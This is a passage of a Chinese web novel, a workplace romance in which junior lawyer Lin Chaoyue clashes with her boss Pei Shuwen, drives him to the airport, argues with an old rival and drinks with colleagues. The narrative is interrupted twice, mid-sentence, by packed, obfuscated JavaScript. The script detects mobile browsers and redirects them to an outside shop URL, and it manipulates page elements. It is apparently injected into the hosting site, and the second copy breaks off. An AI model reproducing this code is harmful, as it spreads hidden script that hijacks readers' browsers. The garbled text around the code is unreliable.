还有些意犹未尽。 李聪:“月姐,你今天武力值全开啊,怎么样?要不要再开一把?这次跟着我跳?” 林朝月看了眼时间,起身直了直腰:“不玩了,马上下班了,我等会儿还要去食堂蹭饭吃呢。” 别的不说。 裴舒文这律所的食堂饭菜还算不错。 “啊,上班,我差点忘了你还在裴舒文那上班,我还真有点不适应。” “那行吧,我再单开两把。” 说完这句,李聪挂语音前还嘟囔着说了句:“原来上班也能这么自由地玩游戏吗?我以为裴舒文也跟老李他们一样,人不在也要装八百个摄像头监控员工呢……” 什么意思? 林朝月有些茫然地抬头。 原来这些监控不是摆设? 她头顶加起来起码有八个监控…… 那她玩了一下午的游戏,难不成都被裴舒文看见了? 林朝月没由来的有些心慌…… 她出了储藏室后本来想回自己工位等下班去吃饭的,但心虚让她走到电梯的时候默默拐了个弯,爬楼梯去了裴舒文在的那层。 裴舒文的办公室在十二层最里面。 她越靠近裴舒文的办公室,走起路来也变得越发蹑手蹑脚。 完全是一副做贼心虚的表情。 等她人彻底挪到裴舒文的办公室,见办公室没人,这才松了一口气。 不在就好。 不在就好。 不在估计是出去干别的了,忙了这么久肯定累了,说不准已经回家补觉去了。 没盯着自己就好。 林朝月心情变幻的非常迅速,前一秒还乌云密布,后一秒就晴空万里。 下楼回工位的路上还哼了两声小曲。 马上六点了,等她回工位拿了东西就能下班了。 但想法是好的,现实总是残酷的。 等林朝月踩着六点的点到了七楼,她发现七楼整层办公室的人没有一个下班的,她甚至没看出有人准备下班…… “什么情况?所里不是六点下班吗?大家都在这等什么呢?下班铃坏了?” 回了工位的林朝月第一时间凑到了闻雅的边上。 闻雅却看都没看她,只是小声从嗓子眼里挤出来两句。 “工作哪有什么下班铃。” “看手机群聊。” 手机怎么了? 林朝月坐下,人靠在椅子上,慢吞吞打开了手机。 工作群是昨天加的,里面除了最新发布的一则公告外什么都没有。 大家私底下拉的闲聊群倒是聊出了99+的消息。 林朝月往上面扒拉了两下,大家好像在聊分组的事,什么分组? 林朝月疑惑地偏头看闻雅。 闻雅又指了指她手机。 林朝月就见闻雅打包了一份她和别人的聊天记录发给了自己,还给自己发了个‘嘘’的表情包。 怎么还神神秘秘的。 林朝月有些口渴,起身给自己接了杯水,坐下边喝边看。 几分钟就把内容看了个大概。 哦。 原来是所里这批进来的助理律师都已经接手了部分工作。 为了方便管理,人事部给大家进行了暂时的分组。 但这好像也没什么。 闻雅示意她继续往下看。 又往下翻了两页,林朝月这才看到重点。 分组是其次,考核才是关键。 初期的考核会以小组的形式进行,最后再根据个人在小组中的表现赋分。 人事部发了六份文件做辅助参考,但重点其实只有两个。 一个是同团队的小组成员不能太差,不然在团队考核中容易拿不到名次。 还有一个是同团队的小组成员也不能太好,容易把自己比下去,拿不到好的赋分。 难怪群里炸开锅了。 林朝月:【这谁想出来的办法,也太歹毒了。】 闻雅苦笑:【我建议你看看分组名单,还有惊喜。】 只看闻雅的表情,林朝月也猜到了惊喜是不存在,大概率是惊吓。 但看到自己被分的小组后面,明晃晃地挂了个裴舒文的大名,她还是有些绷不住了。 “哈?之前不是说今年没有带教律师的吗?” 闻雅见已经有人起身去吃饭了,终于不再是‘静音模式’。 闻雅:“是没有啊,带教律师起码是帮着大家通过考核的,你看到的那个是分组考核官,嗯……是给大家做的项目打分的。” 林朝月右眼皮猛地跳了一下:“什么意思?” 不会是她想的那样吧? 分组考核官拿捏着大家的生杀大权? 闻雅:“别这么看着我,就是你想的那样,你自求多福吧。” 靠! 那这么说,事情兜了一圈,她最后的命运还是牢牢地捏在了裴舒文手里? 他对自己的奴役也只是个开始? 林朝月没了吃饭的心情,人直接瘫在了椅子上。 天要亡她啊! 但她怎么这么不甘心! 她闭着眼,一手掐自己人中,另一只手去够闻雅的椅子,企图做最后的挣扎:“现在想换组还来得及吗?我突然发现我还是挺喜欢别的业务的,随便别的什么都行……” “来不及了,确认时间截止四点整,你已经错过了。” 林朝月听见声音后倏地睁眼,人差点滑到地上。 裴舒文怎么还在公司? 林朝月磕磕巴巴:“你、那个……我,你怎么偷听别人说话?” 林朝月也不知道自己怎么突然脑抽,说了这么一句,还没去吃饭的大家齐刷刷朝着这边看过来。 林朝月想找补。 但裴舒文压根没给她找补的机会。 裴舒文:“以你刚刚说话的音量,我应该还够不上偷听的罪名。” 林朝月:“……” 倒也不用这么较真,她也没说他在犯罪。 林朝月:“裴律,您还有什么别的事吗?要是没有,那我就先……” 话说了一半,她再次被打断。 紧接着那串熟悉的阿斯顿马丁车钥匙又出现在她眼前。 裴舒文:“今天所里司机请假,我今晚出差,辛苦林律送我去一趟机场。” 啊? “半个小时后出发。”裴舒文抬手看了眼时间:“六点四十分我准时在负一层等你,停车的位置你知道。” 裴舒文压根就没给她拒绝的机会。 等她反应过来想说自己不知道裴舒文车停在哪里的时候,他人已经走远了。 林朝月茫然抬头:“所以停车的位置在哪儿?” 这一层的新人集体摊手。 他们都是新来的。 别说车位了,他们连哪辆车是裴舒文的都不知道。 林朝月:“……” 沉默过后,林朝月抓起钥匙和包包起身就走。 闻雅见林朝月走的方向不对,紧忙提醒:“朝月,裴律回楼上了,地下车库也不是从那个电梯走。” 林朝月头都没回地朝身后摆手:“时间紧迫,我要赶紧去楼下吃个晚饭。” 闻雅:“……” 半小时后。 林朝月赶着时间吃完了最后一口饭。 在大厦里保安的好心指路下到了负一层。 她以为自己下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426749|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电梯还有找一会儿,没成想推开玻璃门就看到了裴舒文。 他已经等在那里了。 “这是你专属车位?” 她记得上次裴舒文也是停这里的。是一个离电梯很近的绝佳位置。 裴舒文:“所里合伙人的专属权限,你成为合伙人的那天也可以有。” 林朝月皮笑肉不笑:“我哪里配得上位置这么好的停车位,我没事给你当当司机就行。” 裴舒文压根没反驳。 还煞有其事地点了点头。 林朝月气结,上车关车门的时候用了不小的力气。 车门‘嘭’的一声。 裴舒文倒一点都不在意,上车后就开始处理工作,听他回消息的意思,等下还要在车上开个会。 林朝月等红绿灯的时候忍不住看了他好几眼。 裴舒文也发现林朝月一直在看自己了。 “想问什么可以直接问?一会儿会议开始就没机会了。” 林朝月:“怎么还有会要开,你不累吗?你从昨天到今天是不是还没休息过?” 裴舒文以为林朝月要问他为什么让她送自己。 听到她的这个问题,他有些意外地看她。 林朝月问完也感觉不大对,这话怎么好像是自己在关心裴舒文。 她轻咳一声,又换了种问法:“你下午干什么去了?我去找你你不在。” 裴舒文:“开会,和人事部拟定你们的分组和具体的考核细则。” 裴舒文:“工作日报也是比较重要的考核指标,昨天的工作日报只有你还没提交,今天的不要忘了。” 工作日报?她好像听闻雅提过这茬。 不过不对啊。 昨晚大家不都下班就出去聚餐了吗?她们哪里来的时间写日报? 林朝月默默地说:“我觉得工作日报这种东西还是太形式主义了,有时候工作要求还是要适当地放宽松些,我看国外的那种快乐工作不是也挺好,也没耽误正经事。” 见这小丫头说得头头是道。 裴舒文也不打断,就由着她说。 林朝月越说越起劲,她差点以为裴舒文已经有些认同自己的观点了。 但等再瞥他一眼。 林朝月才见裴舒文似笑非笑地说:“写工作日报是形式主义,收藏游戏获胜记录不是形式主义?” 裴舒文说这话的时候,林朝月还在开车,而且开得很稳。 但她面上看起来稳如老狗,但内心早就慌得一批了。 什么情况啊!!! 收藏室的摄像头这么高清吗? 监控她就算了! 怎么连手机屏幕上的画面都能看得这么清楚啊! 裴舒文:“还有一件事你可能不知道,君天梁木重要地点的监控都是音画同步的,我也刚好有所有监控的权限。” 好了,不要再说了,她不想知道。 林朝月彻底蔫了。 嘴里一个字都没再蹦出来。 好像刚刚说得‘头头是道’的人不是她似的。 裴舒文点到为止,也不再多说 林朝月这种萎靡不振的情绪持续到了去机场高速的收费站口。 裴舒文此时正好开完视频会议。 裴舒文:“前面停车,后面换我来开。” 林朝月扫了眼导航位置:“后面就剩十几公里了。” 裴舒文:“嗯,停车吧。” 林朝月蔫了一路,见裴舒文这样子还以为他这是良心发现了,人终于精神了些。 谁知道刚坐上副驾,裴舒文就把电脑丢给了她:“工作日报的模板在桌面,到机场之前写好,如实写,没做的事不要胡编乱造。” 林朝月:??? 良心这种东西果然是没有的。 不让胡编乱造,她还写什么? 写自己下午和平精英六连吃鸡?还是写打游戏的时候和李聪八卦了整个宁城娱乐圈。 林朝月:“你确定要如实写吗?” 裴舒文‘嗯’了一声。 林朝月破罐子破摔,还真打开电脑胡乱写了一通。 最后黑脸合上电脑:“我写好了。” 裴舒文依然只回了一个‘嗯’字。 林朝月算是发现了,裴舒文这人油盐不进,看着绅士,其实就是只修炼成精的老狐狸。 非常知道怎么对付她,让她抓狂。 她无处撒气,又迫切地想找人吐槽,思来想去,干脆摸进了宁城律师论坛注册了一个小号。 ID:打开天窗说脏话 发帖标题:上司是腹黑老狐狸怎么办?在线等,挺急的! 内容:楼主专业看脸色二十年,最近入职新律所,新上司就是万年老狐狸成精,以前装傻充愣那套都不灵了,摸鱼摸不了,现在连脸色都看不准了,要薯了,真的要薯了。 一楼是秒回的。 1L:投币就看《职场女大攻略腹黑男上司》 词条后面跟了个小尾巴按钮,林朝月点进去显示投币6个解锁。 真投币啊? 虽然觉得不怎么靠谱,但林朝月还是有些上头冲了钱,最后投了6个币。 但这是…… 靠! 这论坛怎么什么都能发! 而且韩漫现在尺度这么大的吗? 她只扫了一眼就小脸通黄地关上了。 裴舒文也发现了她的不对劲:“怎么了?” 林朝月此时正在狂点屏幕,投诉举报有人搞|黄色:“没事,论坛里有人违反社区规定,我举报了。” 裴舒文:“什么理由举报的?” “搞黄……搞电信诈骗。” “是吗?”裴舒文的语气轻飘飘得。 林朝月生怕他不相信,语速飞快:“真的!不信你看,我被骗了6块钱!” 14. chapter 14 林朝月的表情太过‘坚毅’了,裴舒文用余光扫了一眼,也当真了。 裴舒文:“后座有一个牛皮纸信封,拿过来。” 林朝月:“什么?信封吗?” 裴舒文:“嗯。” 她刚把裴舒文的电脑装进电脑包丢去后座,怎么没看到后座上有东西。 而且什么东西非要现在让她拿。 林朝月看了眼导航,还有十分钟就到机场,就剩这么点时间裴舒文总不会还想奴役自己做什么工作吧。 林朝月撇着嘴。 心里面不情不愿,但身体还是很诚实地扭过去看。 还真有一个牛皮纸信封。 不过没在后车车座上,而是掉在了下面。 看那位置。 估计是她刚刚把裴舒文电脑丢过去的时候掉下去的。 林朝月懒得伸手去够:“太远了我拿不到,要不等一会儿停好车你自己拿一下?” 裴舒文:“调整一下座位就能拿到了。” 林朝月‘哦’了一声。 她发现了。 她那些装傻躲懒的技能到了裴舒文这里,全部失效。 他完全不吃这一套。 拿就拿吧。 反正又不会少块肉。 事实上,她长手长脚,连座位都没用挪就够到了那个信封。 这信封还挺沉,里面不知道装了什么,鼓鼓的一下子,她一只手抓着还有些费力。 林朝月举着问裴舒文:“这里面装的什么啊?怎么这么沉?” 裴舒文专注开车没看她:“我出差大概要三天,最早这周五回来,明天车约了保养,晚上七点会有4s店的人去天河之城把车开走,” 裴舒文的话还没说完。 林朝月秒懂。 林朝月:“我知道了,你是想让我把车钥匙给4s店的人,求我帮忙是不是?” 难得裴舒文有事情求到自己头上。 也不等裴舒文回答。 林朝月紧接着就是一句:“那我得考虑一下,我可是很忙的,明天晚上不一定有空。” 她说话的时候紧盯着裴舒文的脸,生怕错过他的表情。 但他似乎对自己的话毫无反应。 只是点了一下头,继续说:“这信封里是昨天寻衅滋事那几个人给的赔偿,其中一部分是你的精神损失费,剩余的那部分是我的医疗费,我伤的不严重,本想也留个你就当做送车去保养的跑腿费,既然你……” “我有空!我明天特别有空!送车钥匙的事就交给我吧!” “你要是还有什么别的事情要帮忙,也找我,我闲人一个,最喜欢帮忙了,价钱什么的都好商量……” 换做以前这些钱再翻个两倍也不一定能让她跑腿。 但她现在穷光蛋一个。 跑腿算什么! 她都委屈求全去给裴舒文当牛马了,有这么多钱,她再跑十次腿也能跑。 没错! 她就是这么的识时务。 她眼巴巴地看着裴舒文。 裴舒文只是‘嗯’了一声,后面她提的那些,他没说同意也没说不同意。 直到车子排队进机场地库的时候,裴舒文才施舍给她一个眼神。 裴舒文:“4s店的经理叫Kevin,不要认错人。” 林朝月心想自己又不是三岁小孩。 还能认错人? 不过她似乎是觉醒了狗腿属性,忙不迭地点头,要多乖巧有多乖巧。 林朝月不禁感慨。 这可能就是金|主爸爸的魅力吧。 车子停在了机场负二层。 按林朝月之前的想法,她把裴舒文送到机场就准备随时转身走人的;但她这会儿不仅没跑,还装模作样地帮裴舒文提行李,把人送到了候机大厅。 裴舒文是走机场vip通道的,宁城的vip通道她也熟啊! 最后林朝月干脆把人送到了vip通道的入口。 临走之前,还不忘殷勤地踮脚,帮他把西装上的浮毛摘下来。 “你就安心出差吧,我不仅跑腿一流,看家也是一把好手,你放心,你不在的日子,你家我家都不会进贼的,我争取连个苍蝇都不放进来。” 裴舒文并不喜欢这种距离过近的接触。 林朝月人凑过来的时候,他下意识地往后退了一步。 但林朝月是谁?打不死的林怂怂。 见状,她又非常不要脸地往前挪了一步。 不适应自己这么‘热情’? 没事。 她多‘热情’几次,裴舒文总会适应的。 毕竟伸手不打笑脸人这个道理她还是懂得。 裴舒文也很快发现了林朝月这小丫头是走‘得寸进尺’路线的。 他不再往后退。 而是直接说起了工作。 裴舒文:“我不在所里也要认真工作,整理卷宗的工作要在这周结束前完成,你下周要开展的工作会以整理卷宗为基础。” 林朝月:“啊?” 裴舒文:“分组的四个人里,我为另一位助理律师安排了和你相同的工作,她工作态度很好,人也有韧性,虽然学历不高,但你还是要多向她学习。” 工作工作。 怎么好端端地又提起工作。 林朝月‘热情’的心瞬间枯萎了。 这次换林朝月后退一步。 她的心就像杀了二十年咸鱼那么冷漠,非常官方地提醒裴舒文:“裴律,还有半小时就boardingtime了,这边建议您还是先过安检比较好。” 至于她。 刚刚裴舒文给的那个牛皮纸信封,已经被她放进自己随身背着的小包包里了。 包被塞得满满当当。 她愉悦的心情也满满当当。 林朝月心情实在不错,准备等会在家附近找个小酒馆去喝一杯。 裴舒文也看出来她在工作上面有些‘油盐不进’。 又说了一句‘夜间开车注意安全’,也不再多说。 送走裴舒文。 林朝月戴上耳机,哼着小曲往停车场走。 回国这么久。 她终于再次呼吸到了自由的空气。 感觉可真不错。 她连一会儿喝杯什么酒都想好了,就来一杯入口微苦的‘自由古巴’,让她体会一下涅槃重生的回甘。 想法很美好。 音乐也切了首热情的爵士乐。 但音乐刚放了个开头,还没等进前奏呢,林朝月突然感觉耳边的音乐声没了,随之而来的是机场人来人往的嘈杂,和一阵刺耳的‘呦呦呦’。 什么鬼? “呦呦呦。” “我还当我眼花呢,这是谁啊?这不是咱们宁城的林大小姐吗?几年不见你可真是涨进了?对一个小白脸也能这么殷勤。” 林朝月今天下午刚和李聪八卦完唐如雪,没想到晚上就遇见了。 许久不见,这人还是一如既往的讨厌。 再看她手里拿着的自己的耳机,果然刚刚也是她摘的。 手欠得很。 林朝月懒得搭理她,拽回自己的线耳机转身就走。 唐如雪却直接快步绕到她前面,拦了她的路:“老朋友许久没见了,这么急着走干什么?我听说你在国外包了几个男大?结果玩脱被骗钱了。怎么?在国外没被骗够,回了国内还要继续包养小白脸?” ?? 不是,这人到底在狗叫什么。 做医美脸整的不怎么样,把脑子整没了? 唐如雪见林朝月那副吃了屎的表情,以为她不想承认。 唐如雪继续冷嘲热讽:“你不用那么看着我,你那点破事圈子里都传遍了,而且我刚刚可都亲眼看见那个小白脸了。你连行李箱都要帮人拿,知道的你是富二代,不知道的还以为你是什么新型舔狗呢。” 刚刚? 林朝月这才恍然,原来‘小白脸’说的是裴舒文。 她就说自己自从回了国内,不是在裴舒文家,就是在律所,怎么还能被造谣。 林朝月懒得解释。 “好狗不挡道,我劝你哪凉快哪儿呆着去,话这么多不怕刚丰的嘴肿成香肠。” “你!!!” 林朝月一句就踩到了唐如雪的痛点, 没办法。 虽然林朝月吵架的战斗力不强,但她和唐如雪这女人太熟了。 唐如雪和她同小学同初中同高中,做过同桌也做过同班,甚至暗恋过同一个男生。 虽然最后两个人都没成功,她也不记得当年那个男生长什么样了,但不耽误两个人到今天还是死对头。 而且非常巧的是。 唐如雪家也是做医美行业的,但比起钟女士的医美公司差了一大截。 唐如雪这人很爱比,家世方面比不过,就在其他方面疯狂努力想比过她,比如整容,比如隆胸。 林朝月低头看了眼自己。 她好像整的快和自己差不多了,估计这两年又没少动刀…… 林朝月挺胸抬头,看了眼近在咫尺的警哨,难得不怂。 “我什么我?谁规定我有钱我就要包|养别人了,怎么就不能是我天生丽质纯天然,别人主动给我花钱呢?没见识还喜欢造谣,肤浅!肤浅的老女人!” “我老!你竟然说我老?你不就比我小五个月!你得意些什么!” 唐如雪刚丰完唇,说话确实还有些疼,但她被气得已经顾不上了。 “而且我就算年纪大又怎么了,我脑子好使不被诈骗啊!听说你不仅被骗了两千万,连毕业都是花钱买来的,不会拿了毕业证就以为自己是常青藤优质毕业生了吧?说出去也不怕别人笑掉大牙!” 林朝月耸了耸肩,像是对唐如雪的‘言语攻击’毫不在意。 说话前,还刻意清了清嗓子。 “所以阁下是什么学校毕业的?不会还在延毕吧,不会吧不会吧。不会是家里捐了图书馆还没拿到学位证,差点被劝退吧?不会吧不会吧。” 答案当然是‘会’。 毕竟这可是她下午从李聪那新鲜听来的八卦。 本来她也不想当着正主面议论人家的,但谁让唐如雪先招惹她。 果然唐如雪听见这话后直接愣了。 看林朝月的眼神中写满了‘你怎么知道’这五个字。 她废了不少劲捂消息,就怕这事流传回国。 她最近也正因为这件事被家里人‘批判’,零花钱直接砍半不说,连她在澳洲买的车都被没收了。 她哭了好几场,这两天好不容易好点,有心情出来旅游。没想到这事又被翻出来了。 还是被林朝月这个狗女人翻出来的! 唐如雪这次直接绷不住了。 蹲在地上就开始哇哇大哭,完全不顾及周围到处都是人。 林朝月:哈?哈? 没搞错吧。 什么情况啊? 几天不见,这女人什么时候变得这么脆弱了。 而且她自认为自己这都不能算‘恶意攻击’,顶多算是小小地还击。 随着大家慢慢围过来看热闹。 林朝月这次又怂了。 算了算了。 她走还不行? 林朝月从包里拿出一包纸巾丢给唐如雪后,果断溜了。 …… “先生?请问您是NY1139次航班的旅客吗?距离安检结束还有十分钟,请问您要现在办理吗?” “办办办,我们两个都办。”赵淮安紧赶慢赶终于赶到机场,以为裴舒文早就在休息室等自己了,结果过来就看见裴舒文像个木头一样杵在安检口。 “嗯,现在办理。” 裴舒文把机票行李交给了工作人员,和赵淮安一起去了休息室。 赵淮安渴了一路,进休息室的第一时间就是去水吧台找水喝。 咕咚咕咚喝了两大口,人才终于活过来,也终于有心情和裴舒文八卦了。 赵淮安:“我看是林朝月送你来的?” 裴舒文:“嗯。” 这么淡定吗? 赵淮安水瓶还没等放下,拧着瓶盖就凑了过来:“你这是给林家这小公主下了什么迷魂汤,她怎么这么听话?你也教教我呗,没准哪天我傍个白富美也能用得到。” 裴舒文看了他一眼。 不知怎的,赵淮安觉得那眼神好像不是很友善。 赵淮安赶紧:“算了算了,我不问了,我其实也不是很好奇。” 裴舒文疲惫地捏了捏眉头,说起正事:“明天要用到的资料都准备好了吗?” 赵淮安:“准备好了,至于明天能不能谈下来就看你的了。” 裴舒文:“你不想试试?” “我啊。” “还是算了吧。” 要是个女老板他倒是不介意试试,但对面不仅是个男老板,还是个老头子,他还真没什么兴趣。 赵淮安:“林晓指名要你,我们总不能趁着她人不在,挂着羊头卖狗肉。” 赵淮安:“谈判的事你上,我到时候见机行事,万一林晓解约的事你没谈拢,那人掀桌,我再出马也不迟。” 多方博弈的活他做的没裴舒文精细。 但这种直接收拾烂摊子的活,他还是很擅长的。 裴舒文只是随便一提,他这次带上赵淮安的本意也不是为了林晓的事,云城还有一个更有价值的案子要去谈。那刚好是赵淮安的专攻范围。 裴舒文:“随你。” 赵淮安抻了个懒腰:“明天和莱光娱乐那边约的几点,我感觉我最近都没怎么好好睡觉,明天能不能让我睡个懒觉再工作?” “九点。” “还是这么早?那又睡不了多久了,飞机上倒是能睡会,但那椅子真是不怎么舒服,还没这休息室的椅子舒服呢。”他换了个姿势靠着,又连着打了几个哈欠。 裴舒文翻了一遍赵淮安准备的资料,见没什么问题,拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关了车门,林朝月才终于把心放回了肚子里。 还好还好! 差点就被讹上了。 唐如雪这种人她太了解了,刚整完容,要是当着自己的面哪里崩了,铁定四处造谣说是她弄得。 她惹不起还躲不起吗? 而且她觉得因为唐如雪耽误自己喝酒的心情,实在不值得。 毕竟喝酒的经费裴舒文都‘赞助’了。 想到这里,她还非常‘虚伪’地给裴舒文发了句:“上了飞机早点休息【辛苦了】.jpg” 裴舒文秒回了一个‘嗯’。 金主爸爸实时接收到她的彩虹屁,她就放心了。 攻略上司而已,轻松无比。 林朝月很得意。 但此时的赵淮安却困意全无,非常惊讶地‘啊?’了两声。 “什么意思,我怎么没听懂?下个月IPO那个项目走访股东和主管部门,要带上林朝月吗?” “虽然这个项目上市周期长,前期不用太发力,但也不至于这么草率吧……” 赵淮安发现自己真是越来越琢磨不明白裴舒文的想法了。 裴舒文:“这次的走访不能录音,她记性好。” 赵淮安:“这事好办啊,就算我记不住,我带两个助理过去不就行了。” 裴舒文却收了电脑,靠在椅背上开始休息:“林朝月来之前你不是说要把她当祖宗供上,给你个机会。” “不是……” 供也不是这么供的啊。 赵淮安还想说点什么,但裴舒文已经闭上眼。 刚刚不是还不睡,这会儿把自己弄清醒,他倒是睡了…… 但裴舒文好不容易休息一下。 他也不想再叫他。 赵淮安过了困劲,见飞机还要延误起码一个小时,找了个按摩椅开始刷论坛。 他这一年多被裴舒文压榨的几乎没有什么大段的休息时间。 闲着的时候,也就只能刷刷论坛解解闷了。 偶尔披着马甲潜伏在论坛里,还能跟着大家一起吐槽一下工作。 一天不看,论坛主页不知道什么时候被裴舒文‘英雄救美’的词条堆满了。 他点进去看了两个,帖子大同小异,他审美疲劳,一路往下滑,准备看点别的帖子。 有不有趣无所谓,标题不再是‘裴神英雄救美’就成。 但他翻了三页,愣是一条都没看到。 他马上都要放弃了,终于在角落里捞到了一条。 标题是:上司是腹黑老狐狸怎么办?在线等,挺急的! 点进去看主楼内容,一条两条三条,几乎完全符合他此时的心境。 尤其是那句‘工作摸鱼摸不了,现在连老板脸色都看不准了。’ 他可太有共鸣了。 赵淮安顶着两辆橘猫的头像,光速回了一条。 35L:[哭泣].jpg[哭泣].jpg,看不准是常态,天下老板一般黑,为了老板口袋里的钱只能忍了,卑微卑微。 林朝月下了机场高速,正在边上的服务站买水。 看到这条跟帖刚好有时间回复。 楼主:姐妹,我已经找到方法攻略老板了,我感觉我的好日子要来了! 35L回复:是兄弟!不是姐妹!所以是什么办法?快来分享一下造福社会。球球了! 赵淮安回这条的时候,林朝月已经导航回天河之城了。 赵淮安见楼主迟迟等不到回复,又不想退出去看‘裴舒文英雄救美’,无聊地把这个贴子里的回复从上到下又翻了一遍。 然后他看到了1L回复的那条:投币就看《职场女大攻略男上司》 他虽然不是女大,但年轻几岁也能勉强算是男大吧。 赵淮安鬼使神差地点了进去…… -- 飞机整整延误了两个小时。 十点整,飞机推出停机坪,广播开始播报NY1139次航班乘客登机。 裴舒文睡得不沉,随着休息室陆续有人站起来,他也醒了。 转头就看见赵淮安满脸的幽怨。 “你怎么了?” “我被诈骗了!” “什么?” “这么难看的三页漫画,竟然问我要6块钱,也不说翻译翻译再出来卖,上面都是韩文谁看得懂?尺度还这么大!我可是很纯洁的!” “6块钱?”很熟悉的金额。 “对啊,论坛帖子下面发的,我有空得跟论坛管理员说说了,我们怎么说也是正经论坛,别什么打小广告的人都放进来。” 赵淮安页面没切。 裴舒文刚好扫到1L的回复。 裴舒文眯眼:“《职场女大攻略男上司》?帖子等下发给我看看。” 15. chapter 15 林朝月九点把车送回了天河之城。 九点十分人已经坐在酒吧里点单了。 “这位女士,请问您想喝点什么?” “一杯‘自由古巴’,底酒不要普通的白朗姆,让我看看。”林朝月借着酒吧昏暗的光,扫了一眼酒架,目光定格在了最上面的那层。 林朝月举手指了过去:“底酒就用那瓶吧。” 调酒师顺着林朝月指着的方向看过去,提醒道:“女士,那瓶是哥伦比亚陈酿朗姆酒,价格会贵一些。” “没关系,你放心调,万一我给不出钱,你们可以押我在这里打工还债,调酒我也学过,就是怕抢了你的工作。” 调酒师看出林朝月是在开玩笑,微笑着说:“女士,我们的店手续合规,不会做违法的事情的。” 林朝月当然知道这家店是合法的。 毕竟说起来这里的老板还是她的老熟人。以前的调酒师也是,但那姑娘去年离职去环游世界了。 林朝月笑着说:“辛苦,我去趟洗手间,等会儿帮我把酒送到外面的1号位,记得底酒用那瓶Dictador,你这里其他白朗姆的回甘不够甜,不足以衬托我此时的快乐心情。” 林朝月打了个响指就走了。 这瓶‘独裁者’在国内并不常见。 调酒师见林朝月能一眼认出那瓶酒的牌子。 想来她也清楚酒的价格。 而且听起来她是这里的常客,1号位在二楼的阳台。 不是常客很少会坐去那里,因为那里不算一个正经的位置。 林朝月起身后,调酒师盯着她的背影看了半天,他突然觉得这姑娘有些眼熟,总觉得在哪里见过,但他记性不好,想了半天也没想起来。 林朝月倒是记性好,她用心记过的东西很少会忘。 说着去洗手间,到走廊的时候就被墙上的挂画绊住了脚。 谭文这人,还真是念旧的可怕,上次听说他要重新装修走廊里的画,合着这画一副都没变,他只把画框从金属变成了木质。 林朝月去过洗手间后上了二楼,二楼阳台的位置刚好能听到楼下驻唱的歌声,不远也不近。 桌上摆着烛灯。有风吹过,她靠在躺椅上很惬意。 这才应该是回国后的生活嘛。 调制好的酒很快就送上来了,林朝月爽快地付了现金。 她沿着透明的杯沿轻抿了一下,酒精的味道并不浓重,更多的是醇厚的青柠香,是她想象中的味道。 看看。 不工作的日子多好。 这样惬意舒适的夜晚,能扫清一切烦恼。 放空之余。 林朝月无端地想到了裴舒文。 裴家怎么说也算宁城有头有脸的人家,方爷爷家也底蕴殷实,随手送她的黄翡手镯都价值连城,怎么裴舒文就非要这么卖命的工作。连带着自己也一起遭殃。 她甚至在想,要是裴舒文也是个混吃等死的富二代,她可能都不会这么抗拒和裴家联姻。 大不了做表面夫妻,钱总是有得花的。 可他偏偏不是。 “哎……我可真是堕落了,竟然觉得嫁人也不错……” “……不错什么不错!我怎么就这么倒霉摊到了他,还不能换人,接下来的日子我可怎么过啊!” 谁这么会打岔? 林朝月顺着声音往下看,她就说感觉这声音很近,原来楼下不知道什么时候来了两个人,正躲在角落里大声说悄悄话。 她无聊的时候虽然也会听李聪说说八卦,但怎么也不至于连路人的墙角都不放过。 她还是有些底线的。 林朝月想换个位置。 但躺椅太低了,她坐起来容易,站起来废了好大劲,也弄出了不小的声响。 “谁?谁在偷听。” 林朝月:“……” 她这应该也不算偷听吧,她本来就坐这里的。 但这声音怎么听着有些耳熟。 林朝月彻底站起来后,走到了栏杆边:“怎么是你俩?” “林朝月?” “朝月?” 原来在楼下嘤嘤哭的人是聂闪闪,见惯了她火力全开的泼辣样,她倒是第一次见她这么‘娇弱’。 林朝月心情不错:“上来吗?请你们喝酒。” “不喝!” “可以随便点。” “随便喝?”聂闪闪带着哭腔瘪着嘴。 “随便喝!” 她今晚有钱,她还想再体验一下尽情买单的快乐。 同样的‘自由古巴’又上了两杯,林朝月还额外点了个588的果盘。 林朝月叉了个哈密瓜放在嘴里,随口问:“你们不是都住城南,怎么来这里喝酒?” 闻雅安慰了聂闪闪一晚上,这才终于有功夫喘口气:“我们刚下班。” “啊,这么晚下班。”林朝月看了眼委屈巴巴,还在哽咽的聂闪闪:“她哭什么呢?这么激动。” 聂闪闪想自己说,但嘴巴张开了半天,愣是一个字都没说出来。 闻雅叹了口气:“我来说吧,就是下午的分组,她下午去忙了也没即时看群消息,和他前男友分到一组了。” “啊?前男友?这么巧?哪个啊?那个什么王维?” “你说的那个是陈维吧,不是他,是另一个个子挺高的男生,你应该见过,人挺白的,戴个金框眼镜。” 律所里人这么多,聚餐那天她一大半的时间在走神,还真没什么印象 林朝月摇头:“没什么印象了,现在所里的人我都不太熟。” 今天林朝月被叫去当司机的时候,闻雅也在。 她刚才还没想林朝月为什么也在酒吧,现在想来,应该也是因为心情不好。 她隔着桌子安慰林朝月:“哎,你也是可怜,被裴律盯上了,确实没什么时间认识别人。” 闻雅:“反正就是这么个事情,也是赶巧了,闪闪下班还特意去问了人事部,结果又被人事部说了一通,说这个月改分组是肯定改不了了,想改也要等到下个月换业务做才有可能。” 林朝月:“这不挺好的吗?没准还能和前男友再续前缘。” “续……续个屁!”聂闪闪憋了半天,终于憋出了一句。 闻雅小声说:“不会的,那男生劈腿了,劈腿那女生是你们组的。” 林朝月‘哦’了一声,这关系还挺复杂。 她把酒杯推给闻雅:“这有什么好哭的,你还怕找不着更好的?扔了个垃圾有这么遗憾吗?来,尝尝,这酒味道非常不错。” 林朝月说的是‘尝尝’。 